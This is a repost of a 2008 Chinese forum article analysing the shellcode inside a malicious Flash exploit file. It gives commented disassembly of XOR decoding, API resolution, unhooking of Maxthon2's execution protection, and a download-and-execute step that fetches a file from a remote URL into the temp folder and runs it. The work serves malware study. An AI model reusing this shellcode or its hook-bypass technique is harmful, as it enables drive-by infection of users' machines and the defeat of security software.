首页    新闻    下载    文档    论坛     最新漏洞    黑客教程    数据库    搜索    小榕软件实验室怀旧版    星际争霸WEB版    最新IP准确查询   
名称: 密码:      忘记密码  马上注册
安全知识 :: 专题文章

flash漏洞所用shellcode的分析


http://www.gipsky.com/
标 题: 【原创】flash漏洞所用shellcode的分析

作 者: 轩辕小聪

时 间: 2008-06-02,19:29

链 接: http://bbs.pediy.com/showthread.php?t=65907



作者主页: http://hi.baidu.com/yicong2007

目 的: 纯属学习,请勿用于恶意用途



最近几天flash漏洞的网马非常流行,于是我想分析一下shellcode是怎么跑的。



但是能力所限,还难以像大牛们一样定位到有漏洞的代码及观察整个溢出过程。于

是,我只能做后面一部分工作,即看看那个畸形flash文件中的 shellcode长得什

么样子,它运行起来会有什么动作。



我使用的是从网站抓下来的win 9,0,115,0ie.swf。很轻易地就在畸形.swf文件中

找到了shellcode的位置,在文件头偏移 0xEB处开始。之后我将这段shellcode拷

贝到一个可执行文件的入口点开头处,这样我就可以在OD里直接调试shellcode了。



调试过程中我发现,由于flash这次的漏洞,真的给了一个很充裕的空间让编写者

尽情地发挥他们的shellcode编写才能,我看到了一个比以往任何一个利用ActiveX

漏洞的shellcode都要复杂的shellcode。



该shellcode的功能很全面,不但有一般shellcode的xor加密,获取API 地址和执

行下载病毒并运行的操作,还有更多的操作使得shellcode更加的强悍而实用。

这些操作包括:



1. shellcode有效时间限制,当发现系统时间迟于shellcode中保存的一个固定时

间时,直接 ExitThread。这应该是flash网马生成器发布者所做的,可能出于商业

考虑,避免别人通过简单修改病毒URL地址而生成自己的利用文件。



2. 从kernel32.dll的输入表中取ZwCreateProcessEx、ZwWriteVirtualMemory的地

址,对这两处地址进行 inline hook,hook到自身保存的相应的原始代码中,并对

CreateProcessInternalW的前面几个字节进行了 inline hook的还原。

这些操作都是针对MAXTHON等使用以上API HOOK方式对游览器进行执行保存的措施

而出台的anti方式。虽然这种方法早已被提出,是大家皆知的,但是在以前的网马

应用中,由于可用的缓冲区并不是那么大,不适于加入这些额外的代码,因此我一

直没有看到还原hook过浏览器保护方法的实际利用。而在这次,我终于看到了一个

实际利用的例子。



3. 使用CreateProcessInternalA进行最后下载到本机的病毒文件的执行。以前一

般的shellcode是用WinExec。

下面是shellcode执行流程的分析,分析基本在注释当中,标号(1)、(2)……是代码

的执行流程顺序,依照标号便可轻易理解整个流程。



首先开始是一次xor解密,每两个字节与0x4522进行异或。



00407000 > /EB 16 jmp short 00407018 ; (1)F8

00407002 |5B pop ebx ; (3)

00407003 |33C9 xor ecx, ecx

00407005 |66:B8 2245 mov ax, 4522

00407009 |66:31044B xor word ptr [ebx ecx*2], ax ; xor 解密

0040700D |41 inc ecx

0040700E |40 inc eax

0040700F |66:81F9 6201 cmp cx, 162

00407014 ^|7C F3 jl short 00407009 ; (4)循环,在下面一句F4

00407016 |EB 05 jmp short 0040701D ; (5)再F8一下,跳入解密后的代码

00407018 \E8 E5FFFFFF call 00407002 ; (2)F7



接下来是解密后的实际代码



首先是取得kernel32.dll中的API函数地址并填入后面的数据区。这里使用的是很

常用的方法,通过PEB得到kernel32.dll的基址,然后通过遍历其输出表,把每一

函数名称字符串经过一个加密运算,再将结果与输入的值比较,进而找到符合的

API函数位置。



0040701D E9 65020000 jmp 00407287 ; (6)解密后代码开头,往下跳到最后

00407022 5F pop edi ; (8)定位自身地址,此时为后面数据区地址

00407023 6A 30 push 30

00407025 59 pop ecx

00407026 64:8B01 mov eax, dword ptr fs:[ecx] ; _PEB

00407029 8B98 A8000000 mov ebx, dword ptr [eax A8] ; _PEB.OSMijorVersion

0040702F 8B40 0C mov eax, dword ptr [eax C]

00407032 8B70 1C mov esi, dword ptr [eax 1C]

00407035 AD lods dword ptr [esi]

00407036 8B68 08 mov ebp, dword ptr [eax 8] ; (9)kernel32.dll基址入ebp

00407039 8BF7 mov esi, edi

0040703B 81EC 00020000 sub esp, 200

00407041 85DB test ebx, ebx

00407043 75 07 jnz short 0040704C ; (10)判定是2000的系统还是XP,我这里是

XP,直接跳走

00407045 C746 24 C9525E5>mov dword ptr [esi 24], 535E52C9 ; 如是2000系

统,则修改下面的数据

0040704C 6A 09 push 9

0040704E 59 pop ecx

0040704F E8 EE010000 call 00407242 ; (11)这里F8就可以了,依照数据区开头

的几个加密结果,遍历输出表找函数,把函数地址覆盖掉原来的加密结果

00407054 ^ E2 F9 loopd short 0040704F ; 循环,直接在下面F4



这里填入的API地址依次为(以此时相对esi的偏移,即下面调用时使用的[esi XX]

中的XX为序)

0x00 LoadLibraryA

0x04 GetTempPathA

0x08 DeleteFileA

0x0C CreateProcessInternalA

0x10 ExitThread,

0x14 VirtualProtect

0x18 CreateProcessInternalW

0x1C CompareFileTime

0x20 GetSystemTimeAsFileTime



接着搜索内存得到一个“retn”命令位置(实际上不一定是retn命令),用于后面的

anti-debug。



00407056 40 inc eax ; GetSystemTimeAsFileTime

00407057 8038 C3 cmp byte ptr [eax], 0C3

0040705A ^ 75 FA jnz short 00407056 ; (12)循环搜索内存特征,其实是为了借

用一个retn代码来改变程序流程反调试

0040705C 8946 30 mov dword ptr [esi 30], eax ; 这里搜索到的是7C801881



再接着遍历kernel32.dll的输入表,再取两个NATIVE API函数的地址。



0040705F 6A 02 push 2

00407061 59 pop ecx

00407062 E8 9E010000 call 00407205 ; 再次搜索输出表得到函数地址

00407067 ^ E2 F9 loopd short 00407062



这里取到的地址是(以此时相对esi的偏移,即下面调用时使用的[esi XX]中的XX

为序)



0x24 ZwCreateProcessEx

0x28 ZwWriteVirtualMemory



接着是使用LoadLibraryA加载urlmon.dll并取得URLDownloadToFileA函数的地址。

值得一提的是这里不是直接call而是用在子函数里用先push返回地址再jmp的方式。



00407069 6A 01 push 1

0040706B 59 pop ecx

0040706C 68 6F6E0000 push 6E6F

00407071 68 75726C6D push 6D6C7275

00407076 54 push esp ; 'urlmon'

00407077 8B06 mov eax, dword ptr [esi] ; LoadLibraryA

00407079 E8 10010000 call 0040718E ; (13)一个纯为了anti-debug而搞出来的

子函数,直接在下一句下断,再F9就不会跑飞

0040707E 95 xchg eax, ebp ; urlmon.dll基址入ebp

0040707F E8 BE010000 call 00407242 ; (14)又找函数地址并保存,直接F8,可

以看到找到的函数是URLDownloadToFileA



URLDownloadToFileA函数地址被保存在[esi 2C]



在进入实质工作之前,就是附加的操作。



首先是时间限制的验证

00407084 68 3D400000 push 403D

00407089 6A FF push -1

0040708B 6A FF push -1

0040708D 3E:DB2C24 fld tbyte ptr ds:[esp]

00407091 50 push eax ; 只是在堆栈腾出FILETIME结构的内存空间

00407092 50 push eax

00407093 54 push esp

00407094 FF56 20 call dword ptr [esi 20] ; GetSystemTimeAsFileTime

00407097 8BC4 mov eax, esp

00407099 68 6EC2C801 push 1C8C26E

0040709E 68 00C0B336 push 36B3C000

004070A3 54 push esp

004070A4 50 push eax

004070A5 FF56 1C call dword ptr [esi 1C] ; CompareFileTime

004070A8 48 dec eax

004070A9 75 03 jnz short 004070AE ; (16)系统时间假如晚于设定好的时间,则

不跳走

004070AB FF56 10 call dword ptr [esi 10] ; 这样就直接ExitThread了,也就

是这个shellcode的时间限制



我调试的时候,已经过了答应时间了,所以本来就会直接ExitThread,这时可以自

己强行把EIP改到下一句,不让它退出,继续调试。



接下来的部分我认为比较让我意外,就是我前面提到的,shellcode中自己保存了

NATIVE API的原样代码,在这里对NATIVE API进行了inline hook,hook到

shellcode自带的原样代码中,以及把CreateProcessInternalW前面的几个字节进

行了还原,从而破坏了一些软件的游览器执行保护功能,为自己执行被下载的病毒

程序扫清了障碍,这是它优于此前我所见到的漏洞利用shellcode的重要要害。



首先是将自身保存的NATIVE API原样代码拷贝到PEB后面的空间中。

之所以要拷贝到这里,我想是为了运行的稳定,假如inline hook直接指向

shellcode内部,那么shellcode执行完被清理掉之后,程序再调用相应NATIVE API

的时候,就会崩溃掉。这里把代码拷进PEB后面的空间,可以保证在shellcode退出

后这部分地址仍然能够正常访问,程序也还能正常运行(至少看起来是那样)。



004070AE 6A 30 push 30

004070B0 59 pop ecx

004070B1 64:8B19 mov ebx, dword ptr fs:[ecx]

004070B4 8DAB 00040000 lea ebp, dword ptr [ebx 400] ; (17)在PEB结构后面

找到一块空着的内存

004070BA 8B9B A8000000 mov ebx, dword ptr [ebx A8]

004070C0 8BFD mov edi, ebp

004070C2 56 push esi

004070C3 E9 E0000000 jmp 004071A8 ; (18)跳到下面

004070C8 5E pop esi ; (20)跳回这里

004070C9 F3:A5 rep movs dword ptr es:[edi], dword ptr [esi] ; 把下面那些

摸拟NATIVE API的代码拷进这块内存,用于后面inline hook

004070CB 5E pop esi



接着,将“找到的”ZwCreateProcessEx和ZwWriteVirtualMemory的最前面部分,修

改为“push XXX,retn”的样式,以跳到之前拷贝的代码中:



004070CC 8B7E 24 mov edi, dword ptr [esi 24] ; ZwCreateProcessEx

004070CF E8 25010000 call 004071F9 ; VirtualProtect改函数头0x20为可读可写

004070D4 6A 1A push 1A ; 以下为直接对ZwCreateProcessEx进行inline hook

004070D6 6A 0D push 0D

004070D8 6A 00 push 0

004070DA 8BC5 mov eax, ebp

004070DC 03049C add eax, dword ptr [esp ebx*4]

004070DF C607 68 mov byte ptr [edi], 68 ; 代码"push……"

004070E2 47 inc edi

004070E3 AB stos dword ptr es:[edi] ; 内存中拷贝的代码

004070E4 C607 C3 mov byte ptr [edi], 0C3 ; ret……

004070E7 8B7E 28 mov edi, dword ptr [esi 28] ; ZwWriteVirtualMemory

004070EA E8 0A010000 call 004071F9

004070EF 6A 3D push 3D

004070F1 6A 36 push 36

004070F3 6A 27 push 27

004070F5 8BC5 mov eax, ebp

004070F7 03049C add eax, dword ptr [esp ebx*4]

004070FA C607 68 mov byte ptr [edi], 68

004070FD 47 inc edi

004070FE AB stos dword ptr es:[edi]

004070FF C607 C3 mov byte ptr [edi], 0C3



为什么我上面非凡强调“找到的ZwCreateProcessEx和ZwWriteVirtualMemory的地址

处”?

我们千万不要忘记,这个做法是针对某些软件的,冲着哪个软件?

我想到了MAXTHON2。



搜索一下关于MAXTHON2的浏览器执行保护的文章,很早的文章显示,MAXTHON2正是

对ZwCreateProcessEx和 ZwWriteVirtualMemory进行了IAT HOOK。

而现在呢,shellcode从kernel32.dll的输入表中取ZwCreateProcessEx和

ZwWriteVirtualMemory的地址,这意味着什么?

我大胆假设,当MAXTHON2游览漏洞利用网页的时候,shellcode的执行环境就在其

进程中,那么,这时shellcode从 kernel32.dll的输入表中取到的地址,正是被

MAXTHON2给hook掉的结果,直接到了MAXTHON2的dll里面去了。

这是shellcode作者有意而为之,因为接着它对这两个地址的代码进行了inline

hook,又实际上转回了原始的代码。

这样MAXTHON2就在完全没有察觉自己的IAT HOOK失效(本来就没有失效)的情况

下,其执行保护被绕过了。

接下来的动作进一步证实了这一点,对CreateProcessInternalW开头的代码进行还

原,这岂不是又正针对MAXTHON2对 CreateProcessInternalW的inlline hook?!



00407102 8B7E 18 mov edi, dword ptr [esi 18] ; CreateProcessInternalW

00407105 E8 EF000000 call 004071F9

0040710A 68 68080A00 push 0A0868

0040710F 68 68080A00 push 0A0868

00407114 68 558BEC6A push 6AEC8B55

00407119 8B049C mov eax, dword ptr [esp ebx*4]

0040711C AB stos dword ptr es:[edi] ; 还原前面的几个字节,还原inline hook

0040711D 33C0 xor eax, eax

0040711F 50 push eax

00407120 50 push eax

00407121 6A FF push -1

00407123 8B049C mov eax, dword ptr [esp ebx*4]

00407126 AA stos byte ptr es:[edi]



做完了这些操作,shellcode最后终于进入自己的实质性工作了。



首先,得到Temp文件夹地址,并在后面加入“orz.exe”,作为病毒文件的本地地址



00407127 8DBE 33010000 lea edi, dword ptr [esi 133]

0040712D 57 push edi

0040712E 68 FF000000 push 0FF

00407133 FF56 04 call dword ptr [esi 4] ; GetTempPathA

00407136 03C7 add eax, edi

00407138 C700 6F727A2E mov dword ptr [eax], 2E7A726F ; 往得到的temp文件

夹路径后面加入文件名

0040713E C740 04 6578650>mov dword ptr [eax 4], 657865 ; 加入的文件名为

"orz.exe"



为保险,先尝试把这个路径的文件删除。



00407145 57 push edi

00407146 FF56 08 call dword ptr [esi 8] ; DeleteFileA



然后直接调用URLDownloadToFileA,从远程地址http://www.0x4f.cn/test.exe

载病毒文件到orz.exe



00407149 33DB xor ebx, ebx

0040714B 53 push ebx

0040714C 53 push ebx

0040714D 57 push edi

0040714E 8D46 34 lea eax, dword ptr [esi 34] ; URL地址,"http:

//www.0x4f.cn/test.exe"

00407151 50 push eax

00407152 53 push ebx

00407153 FF56 2C call dword ptr [esi 2C] ; URLDownloadToFileA



最后,shellcode执行所下载的文件,注重它使用了CreateProcessInternalA来进

行。由于前面已经清除了对 CreateProcessInternalW和ZwCreateProcessEx以及

ZwWriterVirtualMemory的保护,病毒作者坚信此时使用CreateProcessInternalA

有非常大的可能可以成功。



00407156 33C0 xor eax, eax

00407158 8BFC mov edi, esp

0040715A 6A 12 push 12

0040715C 59 pop ecx

0040715D AB stos dword ptr es:[edi]

0040715E ^ E2 FD loopd short 0040715D ; 循环,在堆栈中清出一块全0的空间

00407160 66:C74424 3C 01>mov word ptr [esp 3C], 101

00407167 8BFC mov edi, esp

00407169 8D47 10 lea eax, dword ptr [edi 10]

0040716C 51 push ecx

0040716D 57 push edi

0040716E 50 push eax

0040716F 51 push ecx

00407170 51 push ecx

00407171 51 push ecx

00407172 51 push ecx

00407173 51 push ecx

00407174 51 push ecx

00407175 51 push ecx

00407176 8D96 33010000 lea edx, dword ptr [esi 133] ; 本地地址orz.exe

0040717C 52 push edx

0040717D 51 push ecx

0040717E FF56 0C call dword ptr [esi C] ; CreateProcessInternalA

00407181 81C4 54020000 add esp, 254

00407187 61 popad

00407188 FF71 EC push dword ptr [ecx-14] ; 这里应该会跳回原来溢出的位

置,让程序正常运行下去

0040718B C2 0400 retn 4



下面是前面的代码调用到的子函数及数据。



首先是摸拟call的函数



0040718E 8B56 30 mov edx, dword ptr [esi 30] ; (14)

00407191 41 inc ecx

00407192 5B pop ebx

00407193 52 push edx

00407194 03E1 add esp, ecx

00407196 03E1 add esp, ecx

00407198 03E1 add esp, ecx

0040719A 03E1 add esp, ecx

0040719C 83EC 04 sub esp, 4

0040719F 5A pop edx

004071A0 53 push ebx

004071A1 8BDA mov ebx, edx

004071A3 ^ E2 F7 loopd short 0040719C

004071A5 52 push edx ; 返回地址入栈,这里刚好是一个retn命令

004071A6 FFE0 jmp eax ; jmp进API函数开头



接着是中间一个为了重定位所做的回call:



004071A8 E8 1BFFFFFF call 004070C8 ; (19)再一次为了重定位而跳回,这里必须F7



再接着是被拷贝的NATIVE API原始代码:



004071AD 6A 29 push 29

004071AF 58 pop eax

004071B0 36:8D5424 04 lea edx, dword ptr [esp 4]

004071B5 CD 2E int 2E

004071B7 C2 2000 retn 20

004071BA 6A 30 push 30

004071BC 58 pop eax

004071BD BA 0003FE7F mov edx, 7FFE0300

004071C2 FF12 call dword ptr [edx]

004071C4 C2 2000 retn 20

004071C7 6A 32 push 32

004071C9 58 pop eax

004071CA BA 0003FE7F mov edx, 7FFE0300

004071CF FF12 call dword ptr [edx]

004071D1 C2 2400 retn 24

004071D4 B8 F0000000 mov eax, 0F0

004071D9 36:8D5424 04 lea edx, dword ptr [esp 4]

004071DE CD 2E int 2E

004071E0 C2 1400 retn 14

004071E3 B8 15010000 mov eax, 115

004071E8 EB 05 jmp short 004071EF

004071EA B8 1F010000 mov eax, 11F

004071EF BA 0003FE7F mov edx, 7FFE0300

004071F4 FF12 call dword ptr [edx]

004071F6 C2 1400 retn 14



接下来是用VirtualProtect改API函数入口的页保护属性的子函数



004071F9 52 push edx

004071FA 54 push esp

004071FB 6A 04 push 4

004071FD 6A 20 push 20

004071FF 57 push edi

00407200 FF56 14 call dword ptr [esi 14] ; ViturlProtect,修改函数前面

0x20字节为可读可写

00407203 5A pop edx

00407204 C3 retn



接下来是遍历kernel32.dll的输入表找NATIVE API地址的函数,这些都是通用函

数,shellcode用得比较多,就懒于再注释了。



00407205 51 push ecx

00407206 8B45 3C mov eax, dword ptr [ebp 3C]

00407209 45 inc ebp

0040720A 8B5C28 7F mov ebx, dword ptr [eax ebp 7F]

0040720E 4D dec ebp

0040720F 03DD add ebx, ebp

00407211 8B13 mov edx, dword ptr [ebx]

00407213 03D5 add edx, ebp

00407215 33C9 xor ecx, ecx

00407217 49 dec ecx

00407218 41 inc ecx

00407219 8B048A mov eax, dword ptr [edx ecx*4]

0040721C 8D4428 02 lea eax, dword ptr [eax ebp 2]

00407220 60 pushad

00407221 33C9 xor ecx, ecx

00407223 0FBE10 movsx edx, byte ptr [eax]

00407226 3AD6 cmp dl, dh

00407228 74 08 je short 00407232

0040722A C1C9 07 ror ecx, 7

0040722D 03CA add ecx, edx

0040722F 40 inc eax

00407230 ^ EB F1 jmp short 00407223

00407232 390F cmp dword ptr [edi], ecx

00407234 61 popad

00407235 ^ 75 E1 jnz short 00407218

00407237 8B43 10 mov eax, dword ptr [ebx 10]

0040723A 03C5 add eax, ebp

0040723C 8B0488 mov eax, dword ptr [eax ecx*4]

0040723F AB stos dword ptr es:[edi]

00407240 59 pop ecx

00407241 C3 retn



代码内容最后是遍历PE文件输出表得到API函数地址的子函数,同样是通用的模

块,也懒于第N次注释了:



00407242 51 push ecx

00407243 56 push esi

00407244 8B75 3C mov esi, dword ptr [ebp 3C]

00407247 8B742E 78 mov esi, dword ptr [esi ebp 78]

0040724B 03F5 add esi, ebp

0040724D 56 push esi

0040724E 8B76 20 mov esi, dword ptr [esi 20]

00407251 03F5 add esi, ebp

00407253 33C9 xor ecx, ecx

00407255 49 dec ecx

00407256 41 inc ecx

00407257 AD lods dword ptr [esi]

00407258 03C5 add eax, ebp

0040725A 33DB xor ebx, ebx

0040725C 0FBE10 movsx edx, byte ptr [eax]

0040725F 3AD6 cmp dl, dh

00407261 74 08 je short 0040726B

00407263 C1CB 07 ror ebx, 7

00407266 03DA add ebx, edx

00407268 40 inc eax

00407269 ^ EB F1 jmp short 0040725C

0040726B 3B1F cmp ebx, dword ptr [edi]

0040726D ^ 75 E7 jnz short 00407256

0040726F 5E pop esi

00407270 8B5E 24 mov ebx, dword ptr [esi 24]

00407273 03DD add ebx, ebp

00407275 66:8B0C4B mov cx, word ptr [ebx ecx*2]

00407279 8B5E 1C mov ebx, dword ptr [esi 1C]

0040727C 03DD add ebx, ebp

0040727E 8B048B mov eax, dword ptr [ebx ecx*4]

00407281 03C5 add eax, ebp

00407283 AB stos dword ptr es:[edi]

00407284 5E pop esi

00407285 59 pop ecx

00407286 C3 retn

00407287 E8 96FDFFFF call 00407022 ; (7)call回来,这里要F7



代码内容在这里结束,后面是数据区,包括保存的API函数的地址(shellcode开始

时为加密值,找到API地址后被替换为地址)以及下载的病毒 URL,shellcode中屡

屡用[esi XX]的方式来访问这部分内容,依照相对偏移依次为:



0x00 LoadLibraryA

0x04 GetTempPathA

0x08 DeleteFileA

0x0C CreateProcessInternalA

0x10 ExitThread,

0x14 VirtualProtect

0x18 CreateProcessInternalW

0x1C CompareFileTime

0x20 GetSystemTimeAsFileTime

0x24 ZwCreateProcessEx

0x28 ZwWriteVirtualMemory

0x2C URLDownloadToFileA

0x30 搜索到的一句可用为retn的代码地址

0x34 ASCII "http://www.0x4f.cn/test.exe"



至此,该shellcode分析完毕。应该说它是我见到的在实际应用中功能较为齐全的

shellcode了,作者的一些构思都是有明显实用目的的倾向的,也看出作者对编写

shellcode有一定的经验和能力。



本篇分析只涉及shellcode所作的动作,对于此漏洞如何被触发并使得shellcode被

执行,因能力所限尚未能探究出来。



本人能力有限,这方面只是个菜鸟,以上分析难免有错漏之处,还请大家不吝指正。
<< 第三层交换机技术白皮书 phpwind管理权限泄露漏洞利用程序 >>
评分
10987654321
API:
gipsky.com& 安信网络
网友个人意见,不代表本站立场。对于发言内容,由发表者自负责任。

系统导航

 

Copyright © 2001-2010 安信网络. All Rights Reserved
京ICP备14013333号-8